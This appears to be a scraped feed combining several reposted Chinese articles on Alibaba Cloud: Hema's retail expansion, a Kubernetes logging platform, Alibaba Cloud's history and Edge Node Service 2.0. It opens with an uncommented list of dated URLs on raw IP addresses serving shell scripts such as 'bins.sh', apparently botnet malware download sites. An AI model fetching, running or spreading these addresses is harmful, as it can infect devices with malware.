
        20181012

        http://104.248.212.127/bins.sh

        20181012

        http://185.244.25.153/bins.sh

        20181015

        http://104.248.165.108/bins.sh

        20181018

        http://198.199.84.119/bins.sh

        20181018

        http://103.214.111.122/bins.sh

        20181019

        http://178.128.46.254/bins.sh

        20181019

        http://178.128.43.104/bins.sh

        20181019

        http://104.248.63.168/vvglma

        20181021

        http://178.128.194.222/bins.sh

        20181026

        http://178.128.194.222/bins.sh

        20181027

        http://178.128.194.222/bins.sh

        20181028

        http://46.29.164.242/bins.sh

        20181031

        http://194.48.152.114/bins.sh

        20181101

        http://46.36.37.121/weed.sh

        20181103


        ]]>
        阿里云上,盒马狂奔 Fri, 02 May 2025 09:39:04 +0800 四岁了,盒马依旧在加速狂奔。 

        2019年3月底,成都盒马高笋塘店开门迎客。这是成都的第12家盒马店,接踵摩肩的消费者热情依旧。一个统计,成都主城区的盒区房覆盖率全国第一,达到75%,服务小区数量超过9100个。 

        盒马消息称,西安二环内、上海主城区的盒区房覆盖率也超过70%。过去一年,盒马以“4天开1店”的速度进入了全国20个城市,因为便捷的服务和新奇的购物体验, “住上盒区房”成为了社会期待。

        没人能想到,盒马能以“龙虾”破局新零售;所有人都期待,屡创新高的“盒马速度”。

        云上创业:第一家门店

        向没有开辟的领域进军,才能创造新天地。——李政道

        时间回到2015年,美国百货店“祖师爷”西尔斯公司将200多家顶级店面出售给Seritage房地产信托投资基金。这意味着,西尔斯这个辉煌了100多年的传统零售巨头,已经陷入了经营困境。

        在中国,零售业依旧是硝烟弥漫的创业者赛场。彼时中国电商市场已然巨头在立,然而随着移动互联网的兴起,大家都希望利用智能手机,挖掘出一个大商机,比如生鲜O2O。

        生鲜是最为苛刻的电商品类:保质期超短,有些甚至只有几个小时;成本极高,卖不掉就要扔掉;冷链条件、运输时效要求高。所以,当时的生鲜O2O大多只是卖些冻品。尽管如此,生鲜的线上渗透率也只有1%。 

        也正在2015年,在零售圈摸爬滚打近30年的侯毅从北京回到老家上海,心中怀着一个执念,30分钟内把一只来自波士顿的鲜龙虾送到用户家里。凭借多年对市场的理解和敏锐洞察,他认为 “构建线上线下一体化的生鲜超市”将成为一种全新的零售模式。行业里赞同者寡,但是 阿里巴巴 集团CEO张勇表示出了极大的兴趣。 

        坊间传说,张勇只听侯毅讲了5分钟就认可了他的想法。不过,两人在半年时间里确实见了不下10次。最终,侯毅决定借力 阿里巴巴 ,打造盒马鲜生。 

        此前,没有人搭建过线上线下一体化的超市,背后的系统千头万绪,物流WMS、ERP和财务、门店POS、物流配送、APP、会员、支付、营销… …必须有一个一体化的平台,来处理所有与零售相关的业务。盒马鲜生不仅要做商业的探路者,还要成为技术的登月人。 

        挑战就摆在刚刚组建的盒马技术团队眼前:这套超级复杂的系统,如何构建?答案倒也简单:借力 阿里 中台。 

        中台是 阿里巴巴 在2015年启动的集团战略,希望构建符合DT时代的“大中台、小前台”组织机制和业务机制:作为前台的一线业务会更敏捷、更快速适应瞬息万变的市场;中台将集合整个组织的运营数据能力、产品技术能力,对各前台业务进行强力的支撑。 

        于是,盒马技术团队一方面开始像搭积木一样调用 阿里巴巴 智能中台里的产品技术模块,快速构建起了基本应用。另一方面针对线下场景,进一步实现了基于POI的精准配送,一键调整价格的电子价签,支持万级SKU的品类规划,以及全供应链管理等。 

        最终,这套打通了线上线下的商超系统,包括会员、交易、营销、资金、支付、结算、账务、客服、安全等等功能。实现了统一会员、统一库存、统一价格、统一营销、统一结算。

        由于中台能力的出色表现,盒马的系统用9个月时间搭建完成。这个速度让侯毅也吃了一惊,“放到今天,这样一套系统其他人去做至少花2年。” 

        云上速度:从1到100

        天下武功,无坚不摧,唯快不破。——李小龙

        2017年6月16日,亚马逊宣布以137亿美元的价格收购全美最大的天然和有机食品连锁超市Whole Foods(全食超市),一家打通线上线下的新零售超市。传说,贝索斯在2017年初实地参观了盒马,所以下定决心收购全食,与老对手一较高下。137亿美元不仅创下了亚马逊的收购纪录,也成为美国零售行业的并购之最。 

        2017年盒马开始快速奔跑,但还算不上火力全开。它在17年开了17家店,而18年一年,就有 95家新店落地,相当于4天1家店。“盒马速度”是怎么实现的?

        图片14.png

        “相对于传统企业,盒马有一个巨大的优势:一出生,它的IT系统就全部构建在云端,实现了云端统一支撑,同时并不惧怕高订单量。”作为初始创业产品技术团队一员,盒马的高级产品专家满汉认为,盒马飞速奔跑,得益于云计算。 

        2016年双12,盒马第一次试水线上促销。上海金桥店创下了1天1万单的交易纪录。要知道即使放在现在,日本、美国的很多零售门店的线上销售单量,也仅仅几十单或者几百单每天。 

        然而对于线上1天1万单这个“纪录”, 满汉提起来有点不太好意思。因为他们并没有像阿里巴巴 备战双11一样,提前进行大规模技术演练和系统准备,“当决定搞双12线上大促的时候,实际上已经是10月份了,准备的时间非常短”。 

        经历过 天猫 双11流量峰值考验的 阿里 云,轻松支撑了盒马当年的线上促销活动。如今,盒马有180家店铺,大多数的店铺每天的交易都会达到这个2016年的纪录峰值。 

        没有采购服务器,盒马借助云计算的弹性计算能力,实现了每个店铺的线上线下交易与支付都平稳、顺畅。几百万CPU核心的计算能力、PB级的存储空间、瞬时的相应支持,快速奔跑的盒马在云端得到了这一切。 

        满汉介绍,由于盒马将订单管理、配货、运营,甚至安保和美工等职责统一借助云端支撑,确保了各新开店标准化的管理模式。“ 阿里 云已经形成了更大范围的网络效应,让盒马不再是孤立的单点提供服务,而是可以轻松获取云端合作。比如商品选择、物流、多销售渠道、配送等,都可以综合运用全社会的云上资源。”

        图片15.png

        星巴克创始人霍华德·舒尔茨造访盒马上海长宁店

        盒马飞一般创下了多个纪录。不仅吸引了全球企业家,还有外国政要前来参观。韩国乐天超市把悬挂链、30分钟送达的商业模式都搬回了韩国,而且还把三公里的地区称做“虚设区房”。

        千店千面:数据智能的力量

        不要为顾客着想,而是要站在顾客的立场上思考。——铃木敏文

        尽管被视为新零售的最佳实践,过去四年,盒马过得并不轻松。2019年3月, 侯毅发表演讲称,新零售要回归零售的本质,做到因地制宜,做到符合当地消费者收入水平、消费习惯的店型和商品结构。与此同时,盒马进一步孵化了盒马菜市、盒马mini店、盒马F2、盒马小站等更多成员,基于不同区域、商圈的消费者,提供不同“定制化”的服务。 

        盒马变得更在乎用户,更接地气。 

        从全国标准化到“千店千面”,盒马再次借助了 “数据中台”的能力——用户需要什么?喜欢什么?接受能力是多少?什么商品最好卖?能卖多少?需要及时补货还是快速促销?数据中台的神奇之处,就在于它可以回答商业世界的十万个为什么。

        图片16.png

        爱美女生知道口红的色号,数据中台了解牛油果的色号。 “行业内的潜规则是,香蕉、凤梨、牛油果等热带水果进货时,尽量进青色不成熟的,这样不会坏。但是有经验的消费者知道,拿回去放几天才可能吃到最好的味道。但盒马只会进5号色最好的牛油果、6号色最好的香蕉,消费者买到就可以吃到最佳口感。” 上海金桥店店长昱夏说的就是借助数据来订货。 

        这背后是对数据智能支持下供应链的极度自信。数据中台结合历史销量、节日甚至是天气情况等上千种数据,最大维度可以测算未来30天的销售量,最小精度甚至可以精细到下一分钟。“之前全凭经验,现在我们让数据决策。” 

        昱夏的另一个故事来自有身份证的鱼。“在广州的门店,用户只要手机一扫便可以看到眼前这条鱼来自于哪片池塘,有没有质检报告。借助科技的力量,每一条淡水鱼拥有了安全可溯源的身份。”

        图片17.png

        在 阿里 达摩院AI、视觉识别、IoT技术的加持下,盒马成了零售圈子里最懂科技的生鲜超市。“谷歌用算法下围棋 ,盒马用算法卖生鲜,每天都确实感觉到是在科技公司上班。” 

        2019新年伊始,在全球零售业最重要的全美零售联合会(NRF)上, 阿里巴巴 获零售业全球最大奖——“未来零售创造者”,而盒马鲜生被称为“新零售”典范。 

        在侯毅眼中,盒马做到的是“以消费者需求为导向,利用 阿里 的基础数据能力、 阿里云的海量云计算能力、会员和支付体系,围绕成本与效率、体验与服务,重构零售业态。”

        盒马鲜生这个新零售先锋,同样是现代数字技术改变的商业运行模式的典范。而盒马背后的 阿里 云,作为 阿里巴巴 所有技术和产品的输出平台,开始向全社会输出最佳实践的“新零售”数字化解决方案。

        的确,这是新零售的时代,这是云计算的魔力。


        本文转载自网络  如有侵权请联系删除

        ]]>
        阿里云PB级Kubernetes日志平台建设实践 Fri, 02 May 2025 09:39:04 +0800 作者 | 元乙 编辑 | 张婵 阿里云日志服务是阿里集团针对日志分析、处理的自研产品。Kubernetes近两年来发展十分迅速,已经成为容器编排领域的事实标准,但是Kubernetes中日志采集相对困难,本文介绍了阿里云Kubernetes日志平台是如何建设的。 背景

        阿里云日志服务是阿里集团针对日志分析、处理的自研产品,最根本的目的是让用户专注在“分析”上,远离琐碎的工作。日志服务整体功能分为3个部分:日志采集、智能查询分析和数据分发。相比其他日志系统,阿里云日志服务有以下几个特点:

        采集范围广,支持30+种的数据采集通道,包括服务器、交换机、容器、移动端、IOT等各类设备;支持全球加速、断点续传等功能,使全球化数据高可靠采集成为可能。

        数据规模大,支持单用户日PB级数据写入,提供数据通道横向自动扩展能力,可根据数据流量进行自动扩容。

        查询能力强,提供SQL92标准的分析语法,秒级即可分析10亿条数据,同时提供丰富的数据图表,提供所见即所得的数据分析能力。

        下游渠道多,日志服务支持对接各类下游的数据处理、分析系统,包括Flink、Storm、Spark等各类流计算系统,同时也支持Hadoop、MaxCompute等离线分析系统。

        Kubernetes 日志采集难点

        Kubernetes近两年来发展十分迅速,已经成为容器编排领域的事实标准。

        Kubernetes是一个大的生态系统,围绕着Kubernetes我们需要去解决很多问题,例如CI/CD、可扩展性、安全性、可观察性等等。日志是可观察性中必不可少的一部分,而在Kubernetes中日志采集相对更加困难,难点主要体现在:

        采集目标多,Kubernetes平台运行着多种系统组件以及众多应用,这些日志由多种日志格式(分隔符、json、Java、Nginx等)和多种日志形式(宿主机文件、容器stdout、容器文件、syslog、journal等)组成,通常主流的Agent很难支持各种数据的采集。

        环境动态性强,在Kubernetes中,各类服务都会进行自动的缩扩容,应用也会进行动态迁移,日志采集很难适应环境动态性强的系统,尤其是日志的完整性很难得到保证。

        使用负担大,随着集群规模、使用人数、应用种类的逐渐增长,日志采集的集中式管理、采集可靠性的监控等需求就显得尤其重要。更进一步,如何基于Kubernetes的扩展能力让日志采集也能和Kubernetes资源一样进行统一的管理?

        阿里云 Kubernetes 日志平台的整体功能和核心技术

        阿里云Kubernetes日志平台为Kubernetes日志提供接入、查询、分析、可视化、下游对接等日志分析整个生命周期的完整方案,并针对Kubernetes的组件日志提供通用的解决方案,例如审计日志、Ingress日志、系统组件日志等。这里的核心技术主要有以下几点:

        全方位日志采集,能够支持Kubernetes各类日志的实时采集,并兼顾低资源消耗、高性能、高可靠性。同时基于CRD扩展,实现采集与Kubernetes的无缝集成。

        超大规模数据量,Kubernetes可轻松管理数万台机器的集群,日数据量可能会达到数百TB甚至PB级,日志平台能够支撑海量的数据规模,同时保证可扩展性和可靠性。

        实时分析能力,日志最常用的场景是监控和问题调查,因此实时的查询/分析能力尤其重要,平台能够在秒级内实现对亿级数据任意条件、任意维度组合的分析。

        通用方案打通,基于日志平台的通用能力,对Kubernetes的通用方案进行整体封装,并打通采集、存储、分析、可视化、告警等整个流程,实现通用方案的开箱即用。

        平台设计难点

        阿里云在通用日志平台的建设方面有着10年的经验,针对Kubernetes场景平台整体的复杂性增加很多,难点主要有:

        支持各类采集需求,需支持采集多种日志形式和日志格式,不同的使用场景对日志采集的需求不同,需要保证数据采集具备高可靠、高性能、低资源占用、可监控的能力。

        Kubernetes集成,日志的采集和管理需要和Kubernetes平台进行无缝兼容,因此需要提供CRD的扩展方式,尤其在多种方式同时操作、集群不可用等复杂场景下,CRD与服务端的同步与协调关系较难维护。

        多租户隔离,Kubernetes日志平台的使用方较多,平台需保证从日志采集、处理、查询、消费等各个环节的多租户隔离,不能让部分用户的大量请求或非法使用而导致整个集群不可用。

        超大流量压力,在阿里内部,即使最大规格的VIP也无法承受所有日志的流量,双11、春节红包等流量高峰瞬间可能会打爆集群,因此减少数据回路、削峰填谷、降级方案、系统兜底方案等尤其重要。

        日志数据的使用

        Kubernetes中存在各种日志,包括内核日志、系统组件日志、Ingress、ServiceMesh、中间件、应用日志等,每种日志都会有不同人员在不同的场景中应用。例如APIServer的审计(Audit)日志,安全同学会用来做入侵检测、账号操作审计等,运维同学会基于审计日志做变更管理、核心组件监控、节点监控等,开发同学会使用审计日志检查变更是否生效;例如Ingress的访问日志,运营同学会用来做用户行为分析、业务走势分析、运营检测等;运维同学会用来做集群/服务监控;开发同学会基于Ingress访问日志进行发布前后的指标对比……

        从日志平台角度来看,平台需要为不同的业务角色、不同的使用场景提供通用的数据处理/分析能力,包括但不限于:智能分析、链路跟踪、监控、数据清洗、流计算、数据仓库、安全分析、BI分析等。

        Kubernetes 日志平台与可观察性的关系

        “可观察性”(Observability)从电气角度上的解释是:“若所有的内部状态都可以输出到输出信号,此系统即有可观察性”。CNCF-Landscape首次将“可观察性”(Observability)引入到了IT领域。可观察性相关的工具主要包括Logging、Metric、Tracing三大类,这三者之间有很多重叠部分,从表现力上来看,Metrics最弱、Tracing其次、Logging最强。Metric主要记录了一些聚合的指标信息,例如CPU/Mem利用率、请求成功率、请求延迟等;Tracing记录从请求发起到响应完毕的整个流程;而日志相对范畴最大,日志记录了系统运行期间所有的信息,而从日志的字段中可以聚合出Metric、从日志的RequestID中可以提取出整个Tracing链路。

        在Kubernetes中,通常通过Metric发现问题,然后通过Tracing定位问题模块,最后根据日志中的详细信息诊断错误。而在阿里云Kubernetes日志平台中可通过智能分析的功能直接基于日志发现、定位并诊断问题,大大减少问题调查时间。智能分析的能力主要有:

        日志聚类,根据日志的相似性进行智能归类,秒级即可实现亿级数据自动归类,快速掌握日志整体状态。

        异常检测,基于变点检测、折点检测、多周期检测、时序聚类等机器学习方法,自动检测时序中的异常。

        日志模式对比,通过前后两个时间段/版本的日志模式对比,快速发现当前时间/版本的日志差异。

        知识库匹配,将问题调查经验以知识库形式保存下来,将日志与知识库内容进行匹配,快速得到具体日志对应的问题和解决方案。

        阿里云 Kubernetes 日志平台的借鉴意义

        阿里云Kubernetes日志平台建设过程中考虑的很多问题对于大家都有一定的借鉴意义,例如:

        采集方案选择,Kubernetes中采集通常会使用DaemonSet和Sidecar两种方式,日志也会分为stdout和文件两种形式,文件也分为容器内文件和宿主机挂载文件等不同方式,需根据业务场景特点选择合适的日志采集方案。

        平台高可用建设,随着应用场景的逐渐扩展,对于日志平台的可用性要求也越来越高,我们在高可靠日志采集、日志平台自监控、异常自动屏蔽与恢复、高效运维等方面积累了很多宝贵的经验与教训。

        生态对接,平台不可能实现日志生命周期中所需的所有系统和功能,很大一部分功能需要上下游的生态来完成(例如流计算、离线计算、Trace系统、告警系统等),因此生态的对接成为了日志平台能够覆盖所有日志场景必不可少的一个部分。

        性能与成本取舍,成本是每个公司都需要考虑的一点,通常日志的开销只占IT支出的1-3%左右,日志的采集、存储、查询等各个环节需尽可能的节省资源,同时还需保证整体性能在可接受范围内。


        本文转载自网络,如有侵权,请联系删除。

        ]]>
        生于疼痛的阿里云 Fri, 02 May 2025 09:39:04 +0800 拥有超过10万员工的阿里集团,其平台交易总金额已经占到了中国社会消费品零售总额的13%,创造就业超过4000万。这个庞大的数字经济体,今年即将迎来二十岁生日。

        鲜为人知的是,这个数字经济体之所以能够顺利走到今天,离不开其花了一半时光所打造的业务与技术底座——那朵伴随着成长阵痛而扶摇直上的阿里云,今年也已经十周岁。

        2019年3月,虎嗅专访了阿里云智能基础产品事业部总经理蒋江伟(花名小邪)、资深技术专家钟华(花名古谦)。不出意外,采访内容印证了我们此前的猜测:如果要从磅礴繁杂的阿里经济体中,找出一条读懂“昨天,今天,明天”的业务线索,阿里云恐怕是不二之选。

        烟囱

        “即便你仅仅访问一次淘宝的首页,所涉及的技术和系统规模都是你完全无法想象的,是淘宝2000多名顶级的工程师们的心血结晶,其中甚至包括长江学者、国家科学技术最高奖得主等众多牛人。” ——卡特《你刚才在淘宝上买了一件东西》

        2008年初,淘宝的程序员撞到了墙上,心惊胆战。

        那时候,淘宝在技术层面上,是一个由200多个功能模块组成的代码压缩包,体积大概有几百兆字节。其复杂程度已经“超出人类的认知负载”,没有人能完全掌握内部逻辑和关联。“改动商品相关代码,发现交易出问题了,改了论坛上的代码,结果旺旺出问题了”。

        这还是“几个月就翻倍”的业务快速发展期。淘宝在峰值时的数据库连接数量已经超过5000个,数据库服务器的CPU占用率常常超过90%,且无法扩容。

        实际上,早在4个月前的一次战略会上,阿里决策层已经看到问题所在。

        那个会的召集人是马云。平时战略会都在西湖,那次他说找个看海的地方,思路开阔一些。但是当时秘书对宁波不熟,订错了地方,结果一群高管在一个海在哪里都看不到的屋子里,“不接地气”地吵了两天两夜。

        在最后一天晚上深夜,大家历经争吵终于画出一张图。图上示意,信息流、资金流和物流将形成统一的数据智能,基本勾勒了12年后阿里现在的样子。

        流淌在各个业务中的数据要做到“大一统”,项目被命名为“登月计划”。



        但,月亮美好,却太遥远。眼下的现实是,淘宝底层技术基础已经危如累卵,已经是出了名的“改这里、错那里”。

        要上线“淘宝旅行”和“淘宝彩票”。为了“不给主站添乱”,技术人员就另起炉灶重新做了这两个系统。哪怕有很多重复功能,比如用户、交易、查询、评价等功能。

        重复建设还只是成本的问题。一个个独立的业务就是一根根独立的烟囱,都长在同一片地里,但各冒各的烟。数据大一统,无从谈起。

        连业务属性最一致的两个业务——淘宝和淘宝商城(天猫的前身)都像两个独立的国家。

        他们有很多共同的用户、共同的商家,但车不同轨、书不同文,载着数据的“火车”到了“国界线”,必须要通过复杂的架构手段,“找一个翻译”或者“换一个火车头”。



        再加上,阿里的地里长了这么多烟囱,无数的火车头和翻译,复杂得不成样子。

        建设烟囱本来就是多年来的企业IT模式:你起一个业务,底下给你弄一套系统;再起一个业务,我再给你弄一套系统。设计、生产、供应、物流、订单、库存、分销、客服……每个功能再一套系统,企业就是一片烟囱田。

        这是工业流水线被发明之后,管理界的金科玉律:理顺、分配、不断优化每个封闭的业务流程,通过每个工序和业务流程的效率提高,进而提升整个企业的效率。

        然而,当数字化信息取代实物,成为最重要的生产资料后,工业流水线在数字化时代的弱势便被无限放大——内部各环节之间只能是串联的,且对外部完全封闭,恰似一根根烟囱。

        “你会发现转不动了,新业务不断出现,所有人都找IT部门要资源,看起来你挺牛,但其实你拖慢了所有人的节奏。”

        “互联网这种速度,生死都是一瞬间。慢下来就挂了。”

        虽然决策层看到问题所在,也遥远地指了一下月亮。但就像人类真的登上月球要付出沉重的代价,阿里的“登月”也谈何容易。

        补天

        “中国电商行业能有今天,上百万淘宝店主都应该感谢秦始皇书同文车同轨,感谢高考语文考卷上的普通话发音题。” ——马平《为了我们双11“剁手”,中国准备了2000年》

        2007年底,有程序员想了个办法:将每个烟囱都必备,且逻辑最独立简单的用户信息模块拆了出来,将其独立成为单个公共模块。这一尝试后效果还不错,淘宝又将交易模块也独立了出来。

        2008年10月,基于此前的成功尝试,阿里进行了一次被称为“给高速飞行的飞机换发动机”的大手术。

        这个名为“五彩石”(即女娲炼石补天用的石头)的项目,其核心诉求就是要将淘宝与天猫在数据和业务层面完全打通。

        当时的解法具有了后来中台的影子:

        1、抽离出每个业务的共性功能,如交易、支付、会员等等,打包成“砖块”,房子千奇百怪,但砖头都是一样的。做一个新业务就变得非常容易。

        2、让数据沉淀到统一的池子,为之后喂养数据智能奠定基础。

        “大多数产品,产业共性70%,行业共性20%,真正和同行不一样的,恐怕只有10%”,阿里资深技术专家古谦在见过上百家各行业龙头企业后,这样总结到。

        而这一块补天之石的影响,远不止于此。

        2009年初,五彩石项目结束,这个一共动用了200多人的公司级大项目(此前阿里超过10人的技术项目就不小了),最终为阿里沉淀了一套中间件技术,这个词后来在技术圈普及,成为“拆烟囱”的标准。


        (阿里云飞天研发团队合影)


        同样在2009年,王坚率领的飞天团队,正式挂出了阿里云的牌子。

        在宁波的战略会上,决策层们打算为“登月计划”找个负责人,后来找来了王坚。

        王坚人称“博士”,不过在很长的时间里,博士都有一副类似“骗子”的面孔。

        马云说给阿里云每年投10亿,投个10年,做不出来再说。但阿里内部论坛上讨伐的声音一浪高过一浪,花钱又不出成绩,这哪是一个商业公司该干的事情。

        其实,这恰好说明阿里云的确生于疼痛,生于业务压力:

        第一、“登月”要解决算力的问题,现成的IOE模式完全不适用;

        第二、“五彩石”补天之后,要有与之匹配的分布式底座。

        2013年,飞天单一集群能力达到5000台,成为全球第一家对外提供这一能力的公司,算力的底座宣告建成。

        到2018年底,阿里云在中国市场份额已经超过2到8名总和。同时,阿里宣布组织架构调整,阿里云升级为阿里云智能,将中台能力与云全面结合。阿里云正式成为阿里经济体的技术底座,以及全集团的技术能力出口。

        而阿里云智能总裁,恰是十年前“五彩石”项目的负责人,“行癫”张建锋。



        今年3月21日,张建锋首次在公开场合阐述了升级之后的阿里云智能战略。至此,开端于2007年宁波海边的故事,闭环完美划上。“登月”的另一条隐线浮出水面。

        阿里云此前被外界感知的,更多是算力与资源调度能力,以及自主知识产权研发。却少有人知晓,阿里云的壮大与发展,伴随着集团的每次业务阵痛与瓶颈突破,更与中台战略密不可分——

        从五彩石到阿里云,这不是某种巧合,而是同一逻辑下的自然延展。可以说,中台战略与阿里云,就是互为因果,互为充要条件,缺一不可,非你不可的关系。

        这不止是一朵能计算的云,更是一朵可以解决实际业务问题的云。因为,阿里云生于疼痛。而阿里集团的那次疼痛,又比绝大多数中国企业早了十年。

        1000个BUG

        “犯了足够多的错误,你跌倒,你站起来。所有的错误都是进账,都是很棒的收入。”

        ——马云演讲

        “没被洪水倒灌过,你怎么能证明这个城市的下水道架构是合理的呢?”

        阿里云智能基础产品事业部总经理小邪给我们讲了这样一个故事,2013年,阿里模拟出远超过双11压力的流量,这股洪水灌下去之后,淹出来1000多个BUG。

        “像这种非常极端而极致的BUG,没有这么大的流量,是冲不出来的。即便招无数聪明的脑袋,也没办法解决的。”

        这也是阿里不同于其他公司的地方,它具备互联网的规模、金融级的准确性、企业级的复杂程度。

        在很多年前,有一个互联网圈流行的词汇,叫“鼠标加水泥”,其含义是传统商业模式与互联网的结合。这些能够做面对面生意的“重资产互联网企业”,就属于“水泥公司”,和那些只靠屏幕就能满足用户的“鼠标公司”截然不同。

        而阿里早在十几年前,就是中国第一代“水泥公司”。这是其业务性质决定的,和BAT另外两家的“鼠标业务”完全不同。

        比如,搜索是可以有一定模糊范围的,搜不出来几个链接也没关系,但电商不行,哪件商品搜不出来,商家都会电话投诉的。不仅内容上不能有偏差,每次交易的数字都代表着真金白银,差一分商家也是不干的。

        再比如,社交行为基本是可以预见的,很难出现巨大的起伏跌宕。而电商用户就如同12306一样,面临巨大的弹性,算力放多了浪费,放少了崩溃……

        而且,其它互联网企业的业务基本是比较清晰的,多是围绕着一个主流量核心再去设置支流业务。而阿里则从一开始就像个传统企业,要把一个产品或服务从生产设计、库存运输、分销推广再到客服分析全链路包含,其业务复杂度远超过同体量互联网企业。

        高精准度、高复杂度以及难以预测的高并发,共同构成了阿里的技术瓶颈。这也是当业界大佬认为云计算“新瓶装旧酒”时,马云坚称“不做云计算,阿里会死”的原因。

        同期的其它几家知名电商企业,依然在采购IBM的框架,甚至从Oracle请来了CTO。随后,这些企业的技术端纷纷在现实磨难中各种崩盘,而且对这种崩溃的弥补,很难得到系统性的提升。

        十年后的2018,腾讯、美团、京东等企业,或多或少都放出了中台战略和TO B战略的消息,而云计算也逐渐成为了各家的当红业务线。

        当然,还有更多传统企业,在近几年的市场挑战中,逐渐发现了自身原本信息系统建设的滞后性,开始求教于阿里技术团队。

        这些事实无不印证着那个判断:阿里并不是多聪明或多奇怪,只是比其它企业提前很多年就遇到了挑战。而现在,大部分企业也走到了那个挑战的门口。

        让天下没有难碰的运气

        “我们必须承认各种不确定性,利用数据和信息消除它们,而不是采用过去那种来自顶层的设计方式去解决问题。” ——吴军《硅谷之谜》

        在采访中,古谦向我们展示了一组术语:VUCA。

        这组术语包含四个词,即Volatility(易变性)、Uncertainty(不确定性)、Complexity(复杂性)、Ambiguity(模糊性)。可以充分概括这个商业时代的特征。

        企业商业模式的转型,已经从电气时代的30年一个生命周期,到信息化时代的10年,到互联网时代的5年,直至今天DT时代的2~3年的生命周期。

        不确定性成为时代主题。生死都是一瞬间,就是这么VUCA。

        商业本质从未改变:信息不对称牟利的产品或服务,加上时代机遇,也可以称为运气。而在这个不确定的VUCA时代,机遇变成一个变幻莫测的东西。告别工业时代的“看十年做十年”的战略思维,快速试错和数据智能才是VUCA时代的王道。

        这也恰恰是阿里中台能力的价值,阿里的聚划算业务只需要7个人花一个半月就能开发出来,飞猪、钉钉、盒马等商业新物种频繁涌现。很多阿里内部几个人几星期做的事情,放在外部企业中,至少要几十人干半年。哪怕方向错了,从头再来,成本也要低很多。

        企业能做的第二件事,就是形成数据的统一,挖掘智能的“石油”。

        比如波司登连续两年利润猛増。这其中一大原因,就是利用中台策略,实时监控全国3000多家门店的库存和销售情况,进而降低库存压力和物流成本,提升商品售罄率。

        这一升一降间,对于一家销售额数十亿的企业而言,只要物流成本降10%,利润很可能就会多出一两个亿。

        一些咨询机构则看得更长远。比如埃森哲、毕马威、德勤纷纷来找阿里云合作,就是希望可以帮助企业数字化转型,并通过数据智能支撑商业决策。

        阿里本身也是用机器做决策最多的公司,从阿里小贷,到手淘千人千面,如果没有AI能力,几百人肯定无法运营这个万亿规模平台。

        前谷歌云首席科学家李飞飞曾多次说过,云是人工智能落地的最好平台。这也是40%的中国500强企业、近一半中国上市公司、80%中国科技类公司齐聚阿里云的重要原因。

        结语

        二十年前,在湖畔花园那间漏水的民宅里,这家企业的基因就决定了后来的故事。它的根须在中国经济社会的根须之间。受难于此,也反哺于此。

        早于社会十年,阿里遇到巨大困境。也由此筑起了巨大的壁垒,来自别人所未长的见识,和不能承受的痛苦。

        变身阿里云智能之后,阿里的苦,要去解决社会的苦,将自己十年来在企业运营和商业实践中总结的方法论和技术架构,打包成产品和商品,赋能整个经济社会。

        二十年前,阿里在报纸上发出半个版的招聘广告,那句广告词如今已经成为它的企业文化,“If not now, When? If not me , Who?”(此时此刻,非我莫属)。

        疼痛本就是先行者的必然经历。世界在质疑,而你走了过去。

        ]]>
        阿里云发布边缘节点服务2.0,建立“融合、开放、联动”的边缘计算新形态 Fri, 02 May 2025 09:39:04 +0800 “5G时代,边缘计算将发挥更大价值。”阿里云边缘计算技术负责人杨敬宇表示,边缘计算作为5G时代的一项关键技术,未来将成为不可或缺的基础设施之一。那么云的能力是如何深入每个计算场景的?用户如何享受技术红利?阿里云ENS从1.0到2.0时代又完成了怎样的升级蜕变?在刚刚落幕的阿里云峰会北京站-边缘计算专场中,杨敬宇对以上问题做了解答。

        一场计算体系架构的巨大革命,需要更多行业玩家进入

        在5G和边缘计算到来之后,云、端二体协同向着云边端三体协同去发展,毋庸置疑,这是未来架构的新形态,杨敬宇将整个过程称之为一场计算体系架构的巨大革命。低延迟、大带宽、自定义、高效能、高安全成为了行业颇为关注的几大趋势。

        据Gartner预测,2021年将有40%的大型企业在项目中纳入边缘计算原则。而到2022年,边缘计算将成为所有数字业务的必要需求。

        而谈到行业,杨敬宇认为目前边缘计算行业玩家大多处在能力供给侧,各家都在基于各自的行业背景和优势,对外拓展边缘计算领域的相关布局,云计算将云服务向外延伸和扩展,运营商网络引入边缘,实现存量网络优化和5G规模商用,设备服务商所在领域支持边缘计算的各类硬件产品。真正的边缘计算要起来,需要更多行业玩家进入,一起碰撞和实践。

        阿里云打造边缘计算产品技术矩阵,云的能力深入每个计算场景

        边缘计算的布局分为三层,第一层是将分布全球的边缘IDC变化为云基础设施,这个能力可以从云覆盖到用户100公里附近的位置;第二层是MEC,深入到5G通信网络这一层;第三层就是客户侧的边缘计算,通常是放在园区、政企、家庭等客户侧网络。阿里云边缘计算,三层网络层层深入,直至用户的最近一公里。其中有两个产品:

        边缘节点服务(ENS)的目标连接最后10公里,是提供在边缘的通用计算平台,有了ENS就可以轻松得到虚拟机、计算、安全等能力,帮助用户业务下沉至运营商侧边缘,有效降低计算时延和成本。

        Link IoT Edge可以解决万物的标准化接入问题,是连接最后1公里的物联网边缘计算平台,支持包括函数计算、流式计算、规则计算等计算引擎,还可以和超过10种以上云服务建立连接和协同。

        ENS 1.0:迈出一小步,首次将计算推进至100公里边缘

        ENS 1.0时代,阿里云激活了覆盖全球的边缘基础设施潜力,第一次将计算推进至100公里的边缘,建立了标准、安全、多租户的边缘基础设施底座。同时,这也是阿里云第一次把飞天技术轻量化落地到大量的边缘节点上,借助飞天十年技术沉淀,实现性能优秀、稳定可靠的边缘计算能力。

        这使用户能够快速轻量地开展业务,资源获得效率从月度提升至分钟,显著降低了初期资金投入,让用户能够快速的开展业务,在1.0阶段,阿里云也积累了虎牙直播、三体云、拓课云等大批合作伙伴和业务场景。

        挑战与思考:边缘计算不应只是传统IDC的简单迁移!

        与此同时,杨敬宇带领的边缘计算团队也陷入思考:“边缘不应只是传统IDC的简单迁移。边缘系统提供基础的网络、计算底座和资源,用户仍然在沿用使用IDC物理机的方式,搭建全套的业务系统、运维系统。边缘平台的能力和数据与用户的应用和运维割裂,客户感知底层的能力不足、运维复杂,问题处置效率低,并未完全享受到云的技术红利。”

        “经过持续的实践碰撞,我们坚信未来方向是通过边缘计算往上做,来解决融合、开放、集成、按需的问题,更高层次的赋能用户。各种产业应用发展起来,应用层不应该关心底层细节,不然整个发展会有大的掣肘。”杨敬宇说到。

        ENS正式进入2.0时代:融合、开放、联动的边缘计算新形态

        在2019年,边缘计算ENS正式进入2.0时代,致力于打造上下联动的基础设施环境。

        在ENS 2.0时代,阿里云引入MEC资源,边缘基础设施更包容、易扩展,用户未来进一步下沉至MEC的需求可以无缝覆盖,目标做到10公里,让ENS的计算力充分应用到MEC,充分释放资源红利。

